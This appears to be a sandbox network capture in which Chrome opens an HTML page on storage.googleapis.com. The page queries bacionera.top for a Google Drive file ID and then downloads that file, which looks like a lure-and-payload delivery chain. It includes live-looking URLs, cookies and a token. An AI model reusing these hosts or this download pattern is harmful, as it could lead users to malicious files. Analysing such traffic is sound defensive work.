2021-10-18 20:45:44 UTC	70	IN	Data Raw: 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 61 6e 69 6d 61 74 65 28 62 2c 61 2c 63 2c 64 29 7d 7d 29 2c 6e 2e 74 69 6d 65 72 73 3d 5b 5d 2c 6e 2e 66 78 2e 74 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 3d 30 2c 63 3d 6e 2e 74 69 6d 65 72 73 3b 66 6f 72 28 4c 62 3d 6e 2e 6e 6f 77 28 29 3b 62 3c 63 2e 6c 65 6e 67 74 68 3b 62 2b 2b 29 61 3d 63 5b 62 5d 2c 61 28 29 7c 7c 63 5b 62 5d 21 3d 3d 61 7c 7c 63 2e 73 70 6c 69 63 65 28 62 2d 2d 2c 31 29 3b 63 2e 6c 65 6e 67 74 68 7c 7c 6e 2e 66 78 2e 73 74 6f 70 28 29 2c 4c 62 3d 76 6f 69 64 20 30 7d 2c 6e 2e 66 78 2e 74 69 6d 65 72 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6e 2e 74 69 6d 65 72 73 2e 70 75 73 68 28 61 29 2c 61 28 29 3f 6e 2e 66 78 2e 73 74 61 72 74 28 29 3a 6e 2e 74 69 6d Data Ascii: ,c,d){return this.animate(b,a,c,d)}}),n.timers=[],n.fx.tick=function(){var a,b=0,c=n.timers;for(Lb=n.now();b<c.length;b++)a=c[b],a()\|\|c[b]!==a\|\|c.splice(b--,1);c.length\|\|n.fx.stop(),Lb=void 0},n.fx.timer=function(a){n.timers.push(a),a()?n.fx.start():n.tim
2021-10-18 20:45:44 UTC	75	IN	Data Raw: 74 63 68 28 45 29 7c 7c 5b 5d 3b 77 68 69 6c 65 28 62 3d 66 5b 64 2b 2b 5d 29 65 2e 68 61 73 43 6c 61 73 73 28 62 29 3f 65 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 62 29 3a 65 2e 61 64 64 43 6c 61 73 73 28 62 29 7d 65 6c 73 65 28 63 3d 3d 3d 55 7c 7c 22 62 6f 6f 6c 65 61 6e 22 3d 3d 3d 63 29 26 26 28 74 68 69 73 2e 63 6c 61 73 73 4e 61 6d 65 26 26 4c 2e 73 65 74 28 74 68 69 73 2c 22 5f 5f 63 6c 61 73 73 4e 61 6d 65 5f 5f 22 2c 74 68 69 73 2e 63 6c 61 73 73 4e 61 6d 65 29 2c 74 68 69 73 2e 63 6c 61 73 73 4e 61 6d 65 3d 74 68 69 73 2e 63 6c 61 73 73 4e 61 6d 65 7c 7c 61 3d 3d 3d 21 31 3f 22 22 3a 4c 2e 67 65 74 28 74 68 69 73 2c 22 5f 5f 63 6c 61 73 73 4e 61 6d 65 5f 5f 22 29 7c 7c 22 22 29 7d 29 7d 2c 68 61 73 43 6c 61 73 73 3a 66 75 6e 63 74 69 6f 6e 28 61 Data Ascii: tch(E)\|\|[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else(c===U\|\|"boolean"===c)&&(this.className&&L.set(this,"__className__",this.className),this.className=this.className\|\|a===!1?"":L.get(this,"__className__")\|\|"")})},hasClass:function(a
2021-10-18 20:45:44 UTC	75	IN	Data Raw: 34 30 32 36 0d 0a 3d 28 63 3d 62 2e 67 65 74 28 65 2c 22 76 61 6c 75 65 22 29 29 3f 63 3a 28 63 3d 65 2e 76 61 6c 75 65 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 63 3f 63 2e 72 65 70 6c 61 63 65 28 62 63 2c 22 22 29 3a 6e 75 6c 6c 3d 3d 63 3f 22 22 3a 63 29 7d 7d 7d 29 2c 6e 2e 65 78 74 65 6e 64 28 7b 76 61 6c 48 6f 6f 6b 73 3a 7b 6f 70 74 69 6f 6e 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 6e 2e 66 69 6e 64 2e 61 74 74 72 28 61 2c 22 76 61 6c 75 65 22 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 62 3f 62 3a 6e 2e 74 72 69 6d 28 6e 2e 74 65 78 74 28 61 29 29 7d 7d 2c 73 65 6c 65 63 74 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 2c 63 2c 64 3d 61 2e 6f 70 74 69 6f 6e 73 2c 65 3d Data Ascii: 4026=(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(bc,""):null==c?"":c)}}}),n.extend({valHooks:{option:{get:function(a){var b=n.find.attr(a,"value");return null!=b?b:n.trim(n.text(a))}},select:{get:function(a){for(var b,c,d=a.options,e=
2021-10-18 20:45:44 UTC	80	IN	Data Raw: 72 65 73 70 6f 6e 73 65 4a 53 4f 4e 22 7d 2c 63 6f 6e 76 65 72 74 65 72 73 3a 7b 22 2a 20 74 65 78 74 22 3a 53 74 72 69 6e 67 2c 22 74 65 78 74 20 68 74 6d 6c 22 3a 21 30 2c 22 74 65 78 74 20 6a 73 6f 6e 22 3a 6e 2e 70 61 72 73 65 4a 53 4f 4e 2c 22 74 65 78 74 20 78 6d 6c 22 3a 6e 2e 70 61 72 73 65 58 4d 4c 7d 2c 66 6c 61 74 4f 70 74 69 6f 6e 73 3a 7b 75 72 6c 3a 21 30 2c 63 6f 6e 74 65 78 74 3a 21 30 7d 7d 2c 61 6a 61 78 53 65 74 75 70 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 62 3f 73 63 28 73 63 28 61 2c 6e 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 29 2c 62 29 3a 73 63 28 6e 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2c 61 29 7d 2c 61 6a 61 78 50 72 65 66 69 6c 74 65 72 3a 71 63 28 6c 63 29 2c 61 6a 61 78 54 72 61 6e 73 70 6f 72 74 3a Data Ascii: responseJSON"},converters:{"* text":String,"text html":!0,"text json":n.parseJSON,"text xml":n.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?sc(sc(a,n.ajaxSettings),b):sc(n.ajaxSettings,a)},ajaxPrefilter:qc(lc),ajaxTransport:
2021-10-18 20:45:44 UTC	84	IN	Data Raw: 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 6e 28 74 68 69 73 29 2c 63 3d 62 2e 63 6f 6e 74 65 6e 74 73 28 29 3b 63 2e 6c 65 6e 67 74 68 3f 63 2e 77 72 61 70 41 6c 6c 28 61 29 3a 62 2e 61 70 70 65 6e 64 28 61 29 7d 29 7d 2c 77 72 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 6e 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 6e 28 74 68 69 73 29 2e 77 72 61 70 41 6c 6c 28 62 3f 61 2e 63 61 6c 6c 28 74 68 69 73 2c 63 29 3a 61 29 7d 29 7d 2c 75 6e 77 72 61 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 61 72 65 6e 74 28 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 6e 6f 64 65 4e 61 6d 65 28 74 68 69 Data Ascii: }:function(){var b=n(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=n.isFunction(a);return this.each(function(c){n(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){n.nodeName(thi
2021-10-18 20:45:44 UTC	88	IN	Data Raw: 2e 70 61 72 73 65 48 54 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 61 7c 7c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 61 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 28 63 3d 62 2c 62 3d 21 31 29 2c 62 3d 62 7c 7c 6c 3b 76 61 72 20 64 3d 76 2e 65 78 65 63 28 61 29 2c 65 3d 21 63 26 26 5b 5d 3b 72 65 74 75 72 6e 20 64 3f 5b 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 64 5b 31 5d 29 5d 3a 28 64 3d 6e 2e 62 75 69 6c 64 46 72 61 67 6d 65 6e 74 28 5b 61 5d 2c 62 2c 65 29 2c 65 26 26 65 2e 6c 65 6e 67 74 68 26 26 6e 28 65 29 2e 72 65 6d 6f 76 65 28 29 2c 6e 2e 6d 65 72 67 65 28 5b 5d 2c 64 2e 63 68 69 6c 64 4e 6f 64 65 73 29 29 7d 3b 76 61 72 20 48 63 3d 6e 2e 66 6e Data Ascii: .parseHTML=function(a,b,c){if(!a\|\|"string"!=typeof a)return null;"boolean"==typeof b&&(c=b,b=!1),b=b\|\|l;var d=v.exec(a),e=!c&&[];return d?[b.createElement(d[1])]:(d=n.buildFragment([a],b,e),e&&e.length&&n(e).remove(),n.merge([],d.childNodes))};var Hc=n.fn
2021-10-18 20:45:44 UTC	92	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49750	142.250.203.100	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-18 20:45:44 UTC	92	OUT	GET /images/branding/googlelogo/2x/googlelogo_color_120x44dp.png HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: application/signed-exchange;v=b3;q=0.9,/;q=0.8 Purpose: prefetch Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2021-10-18 20:45:44 UTC	92	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: image/png Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5087 Date: Mon, 18 Oct 2021 20:45:44 GMT Expires: Mon, 18 Oct 2021 20:45:44 GMT Cache-Control: private, max-age=31536000 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-10-18 20:45:44 UTC	93	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f0 00 00 00 58 08 06 00 00 00 cb 1a 7a 11 00 00 13 a6 49 44 41 54 78 da ec 5d 09 74 54 d5 19 be 16 06 c1 2a 8a 4b b1 8a 6b dd 4a 15 95 99 09 91 62 27 6f 26 89 68 39 b6 8a e0 8e 9e 56 c1 e5 28 47 3d 5a b7 1a 25 33 49 90 23 22 e2 02 56 5a c0 05 11 97 d2 8a 98 44 71 a5 b6 0a 28 6a 65 51 50 2b 90 c9 04 48 66 de 00 21 31 d3 ff 3b 78 8a 0d 2f ef bf ef cd 9d 97 09 b9 df 39 f7 cc 30 99 e5 f1 ee fd ee bf ff 57 68 68 68 68 68 68 68 ec 89 28 2b cb fc 28 32 21 75 4a 38 6a 5e 19 8e a6 2a 8b 62 a9 17 c3 b1 d4 7b 46 cc 5c 11 2e 4f ad 2b 2a 4f 7e 4d cf 57 17 45 93 ff a2 bf 2d a0 f7 4d 0d c7 d2 e3 22 15 e9 a0 7f 7a c6 27 34 34 34 bc 45 e1 03 6d 7d 22 e5 a9 0b c3 31 73 5e b8 dc ac a7 c7 8c 9b 51 54 9e 32 89 f4 7f 8d Data Ascii: PNGIHDRXzIDATx]tTKkJb'o&h9V(G=Z%3I#"VZDq(jeQP+Hf!1;x/90Whhhhhhh(+(2!uJ8j^b{F\.O+*O~MWE-M"z'444Em}"1s^QT2
2021-10-18 20:45:44 UTC	93	IN	Data Raw: 34 39 9b 24 fc 5a 77 ea b4 f9 19 69 08 bd 85 86 86 26 f0 0f d5 e6 f8 be 44 ae 7f b8 90 8a 1b 88 8c 55 f0 52 8b 4c 66 2f a7 21 29 23 9a ba 4f d6 ce a6 8d e1 df 74 8d fd 85 86 86 26 f0 2e 8c 2a cb f4 22 c9 56 2d 4f 5a 90 29 f9 8d 11 4d 8f 1d fe 50 db de 2a 7e 9f c8 79 35 24 b8 1d 79 43 f7 9b 87 0a 0d 0d 4d e0 f6 de 66 f3 61 07 c9 16 df 91 0a 3c 09 12 3b 17 5a 00 c5 9a a7 ec 1e 4e 32 3f d7 e4 d5 d0 04 b6 00 a9 a4 17 c9 92 97 88 bb 91 08 1c 12 39 86 51 61 96 92 46 d0 a0 c9 ab a1 09 6c 83 50 55 7a 00 91 24 25 eb 3c c2 fb 85 47 30 ca 1b 7f 46 f6 f1 df ce 8c 9a 3f 15 1a 1a 9a c0 bb 03 55 43 92 e4 fd 38 52 d1 74 90 d0 d0 d0 04 ce 0b 40 4d 3d 47 8e bc c9 af 8b 27 a6 0f 13 1a 1a 9a c0 f9 01 84 7b 8c 68 72 99 44 2e f2 0e c4 71 85 86 86 26 70 fe 80 b2 99 46 c8 48 5f Data Ascii: 49$Zwi&DURLf/!)#Ot&."V-OZ)MP~y5$yCMfa<;ZN2?9QaFlPUz$%<G0F?UC8Rt@M=G'{hrD.q&pFH_
2021-10-18 20:45:44 UTC	95	IN	Data Raw: 4b ae 69 5c 97 97 c0 51 73 8c b5 3a 14 bc 4f d2 26 59 95 88 04 82 d2 31 c1 e2 82 42 c9 8d 01 e3 6e c1 80 62 b5 f7 c9 12 0d 92 da 81 3d 5d 80 24 0f 99 ef a6 f7 96 49 84 24 6f 92 ad 25 27 a2 0f 94 4c fa e8 8d 53 40 3a 9b c0 24 3d ef 94 5a 2b 61 ff 73 9b 8b fd fb cb 86 a0 88 ec 9f 72 f6 70 43 f1 90 9f db f5 be 8a 33 fd ae be ed fa 04 4e 8f 15 ed 80 98 1b 54 1c 89 49 79 cf 62 42 58 34 0e 1b d6 8f 3e fb 3e 2f 85 fd 49 bc b7 43 e9 5b 23 0e 22 a9 9a 96 48 c8 78 37 53 23 1c 5f 67 e6 1d d1 4f 26 01 84 a4 75 8a a4 f0 c1 a2 03 0c 9d 98 d8 0f 8d f6 25 ba 88 2e 46 5c d8 45 9b a7 f1 9d 45 60 a8 b1 71 c3 bf 49 42 5a 4e 81 93 4b 38 c0 06 e3 f4 a3 b0 06 b8 4d c1 66 d7 34 57 33 6e fb 56 a8 46 7b 18 81 b1 a3 de c3 ef a6 c1 cf b7 84 4e 3d 40 b8 44 63 69 e1 81 b0 63 d8 4d 22 Data Ascii: Ki\Qs:O&Y1Bnb=]$I$o%'LS@:$=Z+asrpC3NTIybBX4>>/IC[#"Hx7S#_gO&u%.F\EE`qIBZNK8Mf4W3nVF{N=@DcicM"
2021-10-18 20:45:44 UTC	96	IN	Data Raw: a3 2c c8 14 e5 ec 51 2a 30 50 76 9d 68 33 cb 95 18 e2 9a 9c f6 15 87 29 53 5a d6 78 a0 42 15 fa 03 0f 09 3c c2 61 21 fe 47 54 b9 36 16 a5 84 9d 64 57 a6 0b e0 71 96 ec 14 f8 34 0a 1d bc 3d 80 cd bc 43 ce 56 4f 5f d3 71 b9 5f 30 22 51 59 72 af 42 e9 1b e3 7e 0f 61 08 8b a4 8a 88 44 15 92 a2 eb e4 37 0c 0c 5c 93 68 07 10 46 22 bd f1 66 a1 00 e8 4c e9 65 2a 25 bc c3 70 3a b1 1b be e1 7f 0a 0d e9 38 a7 94 f7 12 8e 27 71 ad 17 36 31 36 0a 2a 57 7b 58 b6 97 b0 dd c6 92 19 35 b0 17 62 c1 5c 99 9f 8a 06 ed 70 58 48 94 2d 26 ac ec a3 cc 3c d1 0b b1 60 ce a9 04 29 ac 48 fa a6 b8 18 30 da ce 5a 6a 6e 31 33 61 ef 8f 30 e3 a1 b2 2d 07 88 2c 81 48 88 e7 c5 0c 91 c0 eb 5c aa 23 e2 b7 8a 36 fb 2b b2 96 de 98 10 d4 6d ca 57 fc 24 37 e0 6c 61 91 23 94 94 6f 3b 86 ae e7 1d Data Ascii: ,Q0Pvh3)SZxB<a!GT6dWq4=CVO_q_0"QYrB~aD7\hF"fLe%p:8'q616*W{X5b\pXH-&<`)H0Zjn13a0-,H\#6+mW$7la#o;
2021-10-18 20:45:44 UTC	97	IN	Data Raw: 89 be 54 08 1d d9 ec 98 cd 08 53 a1 c9 3c c5 81 27 21 65 2e 54 96 3c 58 e4 09 90 0d 43 45 fe a3 89 90 8f 92 dd b3 d4 4a c5 c6 6b f8 1b 52 34 51 fb c9 9e 2a a7 1e 48 cc d8 17 21 1f 22 e6 a3 54 74 b0 d4 4a c5 de 79 4c 4b 8f 65 34 a6 e3 bd 6d 0b 45 5f e1 31 8c 09 4d 27 92 33 f4 0f b4 36 16 75 b0 d9 27 68 4d 2c 84 fa 6d b5 79 23 51 c8 8e c0 90 f8 a2 93 80 79 47 78 70 e7 5a 09 7c 08 75 d8 fa 10 6f ff 67 d8 e0 11 86 84 14 17 5d 01 50 b7 61 bf 22 ed ae 78 42 d3 f1 c8 b8 2a ae da bc bf 17 65 89 aa db c4 a2 49 37 3a 10 62 e0 79 3e 54 a1 58 9d ec d0 f6 ae d8 af ad ba cf 61 50 b7 91 a5 85 d7 44 9e 01 c9 3c 68 93 53 5a be f5 08 99 73 93 10 3a b4 23 30 d2 80 f3 69 ad 34 0c 2f e8 8b 92 52 6a 12 7f 24 8e db c1 6b 42 43 a3 bb 02 c5 33 76 da 1c 1c ac 42 43 43 43 9d 49 25 Data Ascii: TS<'!e.T<XCEJkR4QH!"TtJyLKe4mE_1M'36u'hM,my#QyGxpZ\|uog]Pa"xBeI7:by>TXaPD<hSZs:#0i4/Rj$kBC3vBCCCI%

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49747	37.19.206.70	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-18 20:45:44 UTC	98	OUT	GET /carlsednaoui/ouibounce/master/test/ouibounce.min.css HTTP/1.1 Host: cdn.rawgit.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2021-10-18 20:45:44 UTC	98	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 18 Oct 2021 20:45:44 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 114 Connection: close Server: BunnyCDN-ASB1-759 CDN-PullZone: 201235 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Age: 65838 Cache-Control: public, max-age=2592000 Location: https://cdn.jsdelivr.net/gh/carlsednaoui/ouibounce@master/test/ouibounce.min.css CDN-CachedAt: 10/18/2021 20:45:44 Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Served-By: cache-fra19160-FRA, cache-pwk4935-PWK X-Cache: MISS, HIT CDN-ProxyVer: 1.0 CDN-RequestPullCode: 301 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 759 CDN-Status: 301 CDN-RequestId: 4f6e8285eb1df1fa610ed307ff4071d4 CDN-Cache: EXPIRED
2021-10-18 20:45:44 UTC	99	IN	Data Raw: 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 67 68 2f 63 61 72 6c 73 65 64 6e 61 6f 75 69 2f 6f 75 69 62 6f 75 6e 63 65 40 6d 61 73 74 65 72 2f 74 65 73 74 2f 6f 75 69 62 6f 75 6e 63 65 2e 6d 69 6e 2e 63 73 73 Data Ascii: Moved Permanently. Redirecting to https://cdn.jsdelivr.net/gh/carlsednaoui/ouibounce@master/test/ouibounce.min.css

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49759	104.21.91.115	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-18 20:45:45 UTC	99	OUT	GET /stat03940893/ HTTP/1.1 Host: bacionera.top Connection: keep-alive Accept: application/json, text/javascript, /; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Origin: https://storage.googleapis.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2021-10-18 20:45:47 UTC	100	IN	HTTP/1.1 200 OK Date: Mon, 18 Oct 2021 20:45:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding x-powered-by: PHP/7.2.34 access-control-allow-origin: * access-control-allow-methods: POST, GET, OPTIONS, PUT, DELETE access-control-allow-headers: * set-cookie: PHPSESSID=2c24f64b3ce59a9da6103e18d9afedc8; path=/ set-cookie: _subid=3d3idcl16b3d; expires=Tue, 19-Oct-2021 20:45:47 GMT; Max-Age=86400; path=/; domain=.bacionera.top set-cookie: 34ab8=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjY4XCI6MTYzNDU4OTk0NX0sXCJjYW1wYWlnbnNcIjp7XCIzXCI6MTYzNDU4OTk0NX0sXCJ0aW1lXCI6MTYzNDU4OTk0NX0ifQ.HfIbwCyztYivX-rW5Go8mXGwbpf-txEOnRXkW5oJ544; expires=Tue, 19-Oct-2021 20:45:47 GMT; Max-Age=86400; path=/; domain=.bacionera.top expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rAtGpP5QQPqszmYEwWmYxw6Isy9ZGCCHBGPPX06Kx6PE5appc1%2FC8NYIQRs2015GDjhCD7JxUyHrAIP9A4ooW2XRxGXaKw4jkUJ8LvL44xv%2FpCEwHJRLMVXm%2BbjjhiBA"}],"group":"cf-nel","max_age":604800}
2021-10-18 20:45:47 UTC	101	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 36 61 30 34 39 63 62 36 37 66 61 63 34 32 65 37 2d 46 52 41 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 39 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 38 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 37 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6a049cb67fac42e7-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-10-18 20:45:47 UTC	101	IN	Data Raw: 32 63 0d 0a 7b 22 64 61 74 61 22 3a 22 31 6d 58 61 58 38 79 33 41 4b 4a 46 39 4a 48 34 78 79 48 71 51 6c 4a 75 4f 46 64 76 64 4a 34 41 47 22 7d 0d 0a Data Ascii: 2c{"data":"1mXaX8y3AKJF9JH4xyHqQlJuOFdvdJ4AG"}
2021-10-18 20:45:47 UTC	102	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49777	172.217.168.33	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-18 20:45:48 UTC	102	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/a0ant5ufbkmnghngb1btrk334bg0j65u/1634589900000/10323111707164989971//1mXaX8y3AKJF9JH4xyHqQlJuOFdvdJ4AG?e=download HTTP/1.1 Host: doc-0o-ac-docs.googleusercontent.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2021-10-18 20:45:49 UTC	102	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycdsSqwoxjbkKL8aiQgyieK_EJn-8G8-dY8wcSq2n4aA3uTZJUA0fbJX9ZH__ecMX376YDPfZskCwxGMzIgEjMg Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, 